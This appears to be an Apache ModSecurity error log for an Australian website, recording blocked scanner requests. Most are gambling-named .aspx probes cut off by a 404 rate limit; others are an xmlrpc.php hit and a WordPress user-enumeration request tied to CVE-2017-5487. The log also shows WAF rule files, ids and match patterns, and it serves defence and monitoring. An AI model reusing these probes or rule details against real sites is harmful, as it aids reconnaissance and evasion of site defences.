[Mon Feb 16 06:53:05.229231 2026] [:error] [pid 37004:tid 37020] [client 51.75.128.81:32774] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZJOUVXWqA9gxE5oGmYxZgAAAQ4"]
[Mon Feb 16 06:53:07.783374 2026] [:error] [pid 37004:tid 37025] [client 51.75.128.81:47984] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZJOU1XWqA9gxE5oGmYxdQAAARM"]
[Mon Feb 16 06:53:10.417244 2026] [:error] [pid 4455:tid 4479] [client 51.75.128.81:47996] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZJOVgNa-4dvQCL0ruqNrAAAANY"]
[Mon Feb 16 06:53:13.003336 2026] [:error] [pid 4455:tid 4468] [client 51.75.128.81:48008] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZJOWQNa-4dvQCL0ruqNvQAAAMs"]
[Mon Feb 16 06:53:15.530268 2026] [:error] [pid 4455:tid 4467] [client 51.75.128.81:48018] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZJOWwNa-4dvQCL0ruqNvgAAAMo"]
[Mon Feb 16 06:53:17.950888 2026] [:error] [pid 4455:tid 4460] [client 51.75.128.81:40418] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZJOXQNa-4dvQCL0ruqNyAAAAMM"]
[Mon Feb 16 06:53:20.339440 2026] [:error] [pid 4349:tid 4435] [client 51.75.128.81:40432] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZJOYMrbZYafUL_3QfwMTQAAAI0"]
[Mon Feb 16 06:53:22.852475 2026] [:error] [pid 37004:tid 37017] [client 51.75.128.81:40436] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZJOYlXWqA9gxE5oGmYxnQAAAQs"]
[Mon Feb 16 06:53:25.233809 2026] [:error] [pid 4455:tid 4462] [client 51.75.128.81:40438] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZJOZQNa-4dvQCL0ruqN0QAAAMU"]
[Mon Feb 16 06:53:27.537907 2026] [:error] [pid 4349:tid 4435] [client 51.75.128.81:40448] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZJOZ8rbZYafUL_3QfwMWQAAAI0"]
[Mon Feb 16 06:53:29.839722 2026] [:error] [pid 4455:tid 4472] [client 51.75.128.81:44902] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZJOaQNa-4dvQCL0ruqOEwAAAM8"]
[Mon Feb 16 06:53:32.267235 2026] [:error] [pid 37004:tid 37028] [client 51.75.128.81:44918] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZJObFXWqA9gxE5oGmYxxQAAARY"]
[Mon Feb 16 06:53:34.791278 2026] [:error] [pid 37004:tid 37024] [client 51.75.128.81:44932] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZJOblXWqA9gxE5oGmYxzQAAARI"]
[Mon Feb 16 06:53:37.203740 2026] [:error] [pid 4455:tid 4471] [client 51.75.128.81:44938] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZJOcQNa-4dvQCL0ruqOIQAAAM4"]
[Mon Feb 16 06:53:39.752866 2026] [:error] [pid 4455:tid 4469] [client 51.75.128.81:34456] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZJOcwNa-4dvQCL0ruqOKQAAAMw"]
[Mon Feb 16 06:53:42.158824 2026] [:error] [pid 4347:tid 4375] [client 51.75.128.81:34460] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZJOdjFcjv6pEAnSEieu8AAAAAc"]
[Mon Feb 16 06:53:44.594036 2026] [:error] [pid 4349:tid 4431] [client 51.75.128.81:34462] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZJOeMrbZYafUL_3QfwMdQAAAIk"]
[Mon Feb 16 06:53:47.036539 2026] [:error] [pid 4455:tid 4465] [client 51.75.128.81:34464] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZJOewNa-4dvQCL0ruqONwAAAMg"]
[Mon Feb 16 07:21:10.895153 2026] [:error] [pid 4348:tid 4405] [client 117.33.163.216:50040] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZJU5nxbK-cCGKg9ayubEgAAAEo"]
[Mon Feb 16 08:26:33.218372 2026] [:error] [pid 4455:tid 4457] [client 185.220.101.6:59258] [client 185.220.101.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.220.101.6, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZJkOQNa-4dvQCL0ruq1fQAAAMA"], referer: https://www.google.com/
[Mon Feb 16 08:26:38.761303 2026] [:error] [pid 38888:tid 38903] [client 185.220.101.6:29136] [client 185.220.101.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aZJkPqmDoBJWPvV4pcNJJQAAAUw"]
[Mon Feb 16 09:32:45.402314 2026] [:error] [pid 4348:tid 4399] [client 51.68.233.44:41866] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZJzvXxbK-cCGKg9ayvQeQAAAEQ"]
[Mon Feb 16 09:32:47.930512 2026] [:error] [pid 38888:tid 38910] [client 51.68.233.44:38026] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZJzv6mDoBJWPvV4pcNsjgAAAVM"]
[Mon Feb 16 09:32:50.363711 2026] [:error] [pid 4455:tid 4462] [client 51.68.233.44:33044] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZJzwgNa-4dvQCL0rurPdwAAAMU"]
[Mon Feb 16 09:32:52.830011 2026] [:error] [pid 37004:tid 37006] [client 51.68.233.44:33048] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZJzxFXWqA9gxE5oGmZ5MgAAAQA"]
[Mon Feb 16 09:32:55.208969 2026] [:error] [pid 38888:tid 38898] [client 51.68.233.44:33050] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZJzx6mDoBJWPvV4pcNsvQAAAUc"]
[Mon Feb 16 09:32:57.580403 2026] [:error] [pid 4347:tid 4390] [client 51.68.233.44:33056] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZJzyTFcjv6pEAnSEifp8QAAABY"]
[Mon Feb 16 09:32:59.958423 2026] [:error] [pid 4348:tid 4398] [client 51.68.233.44:38322] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZJzy3xbK-cCGKg9ayvQwQAAAEM"]
[Mon Feb 16 09:33:02.452522 2026] [:error] [pid 38888:tid 38907] [client 51.68.233.44:38328] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZJzzqmDoBJWPvV4pcNsxgAAAVA"]
[Mon Feb 16 09:33:04.779564 2026] [:error] [pid 4348:tid 4409] [client 51.68.233.44:38336] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZJz0HxbK-cCGKg9ayvQxQAAAE4"]
[Mon Feb 16 09:33:07.150953 2026] [:error] [pid 4348:tid 4397] [client 51.68.233.44:38344] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZJz03xbK-cCGKg9ayvQxwAAAEI"]
[Mon Feb 16 09:33:09.569303 2026] [:error] [pid 4348:tid 4406] [client 51.68.233.44:58590] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZJz1XxbK-cCGKg9ayvQ0QAAAEs"]
[Mon Feb 16 09:33:11.833662 2026] [:error] [pid 4348:tid 4407] [client 51.68.233.44:58602] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZJz13xbK-cCGKg9ayvQ3wAAAEw"]
[Mon Feb 16 09:33:14.107811 2026] [:error] [pid 4349:tid 4423] [client 51.68.233.44:58618] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZJz2srbZYafUL_3QfxF6QAAAIE"]
[Mon Feb 16 09:33:16.498885 2026] [:error] [pid 4348:tid 4396] [client 51.68.233.44:58628] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZJz3HxbK-cCGKg9ayvRGAAAAEE"]
[Mon Feb 16 09:33:18.773650 2026] [:error] [pid 4348:tid 4410] [client 51.68.233.44:35172] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZJz3nxbK-cCGKg9ayvRIwAAAE8"]
[Mon Feb 16 09:33:21.206787 2026] [:error] [pid 4348:tid 4417] [client 51.68.233.44:35188] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZJz4XxbK-cCGKg9ayvRKgAAAFY"]
[Mon Feb 16 09:33:23.574855 2026] [:error] [pid 4349:tid 4444] [client 51.68.233.44:35200] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZJz48rbZYafUL_3QfxF9QAAAJY"]
[Mon Feb 16 09:33:25.849788 2026] [:error] [pid 38888:tid 38904] [client 51.68.233.44:35214] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZJz5amDoBJWPvV4pcNs6QAAAU0"]
[Mon Feb 16 09:33:28.264653 2026] [:error] [pid 37004:tid 37029] [client 51.68.233.44:35218] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZJz6FXWqA9gxE5oGmZ5ggAAARc"]
[Mon Feb 16 09:33:30.632946 2026] [:error] [pid 4347:tid 4384] [client 51.68.233.44:52174] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZJz6jFcjv6pEAnSEifqTQAAABA"]
[Mon Feb 16 09:33:32.925383 2026] [:error] [pid 38888:tid 38914] [client 51.68.233.44:52178] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZJz7KmDoBJWPvV4pcNs7wAAAVc"]
[Mon Feb 16 09:33:35.460965 2026] [:error] [pid 38888:tid 38895] [client 51.68.233.44:52186] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZJz76mDoBJWPvV4pcNs-wAAAUQ"]
[Mon Feb 16 09:33:37.867107 2026] [:error] [pid 38888:tid 38905] [client 51.68.233.44:52190] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZJz8amDoBJWPvV4pcNtAgAAAU4"]
[Mon Feb 16 09:33:40.295217 2026] [:error] [pid 38888:tid 38893] [client 51.68.233.44:41346] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZJz9KmDoBJWPvV4pcNtBwAAAUI"]
[Mon Feb 16 09:34:25.075861 2026] [:error] [pid 4455:tid 4477] [client 51.68.233.44:41350] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZJ0IQNa-4dvQCL0rurQAQAAANQ"]
[Mon Feb 16 09:34:27.519910 2026] [:error] [pid 4347:tid 4369] [client 51.68.233.44:56764] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZJ0IzFcjv6pEAnSEifqfgAAAAE"]
[Mon Feb 16 09:34:30.020587 2026] [:error] [pid 4349:tid 4428] [client 51.68.233.44:34744] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZJ0JsrbZYafUL_3QfxGTAAAAIY"]
[Mon Feb 16 09:34:32.537255 2026] [:error] [pid 4349:tid 4435] [client 51.68.233.44:34750] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZJ0KMrbZYafUL_3QfxGUwAAAI0"]
[Mon Feb 16 09:34:35.057158 2026] [:error] [pid 4455:tid 4475] [client 51.68.233.44:34756] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZJ0KwNa-4dvQCL0rurQRQAAANI"]
[Mon Feb 16 09:34:37.569511 2026] [:error] [pid 37004:tid 37024] [client 51.68.233.44:34772] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZJ0LVXWqA9gxE5oGmZ5wwAAARI"]
[Mon Feb 16 09:34:39.926106 2026] [:error] [pid 4349:tid 4446] [client 51.68.233.44:52162] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZJ0L8rbZYafUL_3QfxGYAAAAJg"]
[Mon Feb 16 09:34:42.446838 2026] [:error] [pid 38888:tid 38891] [client 51.68.233.44:52168] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZJ0MqmDoBJWPvV4pcNtlAAAAUA"]
[Mon Feb 16 09:34:44.968870 2026] [:error] [pid 4348:tid 4414] [client 51.68.233.44:52180] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZJ0NHxbK-cCGKg9ayvRuAAAAFM"]
